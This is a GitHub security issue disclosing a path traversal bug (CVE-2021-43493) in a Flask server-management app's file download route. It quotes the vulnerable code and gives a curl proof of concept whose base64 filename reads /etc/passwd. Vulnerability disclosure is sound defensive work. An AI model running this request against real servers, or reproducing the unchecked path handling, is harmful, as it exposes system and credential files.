cksgf/ServerManagement

[Security] Path Traversal Vulnerability found

porcupineyhairs opened this issue · 1 comments

A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files. It should be noted that access to files is limited by system operational access control (such as in the case of locked or in-use files on the Microsoft Windows operating system).

This attack is also known as “dot-dot-slash”, “directory traversal”, “directory climbing” and “backtracking”.

Root Cause Analysis

In this case, the path traversal vulnerability can be blamed on incorrect usage of the send_from_directory Flask call. The vulnerability occurs due to the code snippet shown below

@app.route('/DownFile',methods=['GET','POST'])
@cklogin()
def DownFile():
fileName = request.values.get('filename')
fileName = b64decode_(fileName)
if os.path.isdir(fileName):
result = zip_(fileList=[fileName],zipPath=os.path.split(fileName)[0])
if result[0] :
fileName = result[1]
else:
return json.dumps({'resultCode':1,'fileCode':str(e)})
response = make_response(send_from_directory(os.path.split(fileName)[0],os.path.split(fileName)[1],as_attachment=True))

Here, since the filename parameter is attacker controlled, the effective directory and filename passed to the send_from_directory call can be controlled by the attacker leading to a path traversal attack.

Proof of Concept

The bug can be verified using the proof of concept similar to the one shown below.

curl -i -s -k -X $'GET' \
    -H $'Host: 0.0.0.0:9001' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'session=eyJwYXNzd29yZCI6IndlbnJ1aSIsInNlY2VjdExpc3QiOiJbXSIsInVzZXJuYW1lIjoiYWRtaW4ifQ.FC1IVA.B3HWw42zgF_CltmVq0wm0N64vYQ' \
    $'http://0.0.0.0:9001/DownFile?filename=L2V0Yy9wYXNzd2Q='

Remediation

This can be easily fixed my restricting the value of file and path parameters by a fixed whitelist of possible values.

CVSS 3 Score

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

This bug was found using CodeQL by Github

This was assigned CVE-2021-43493.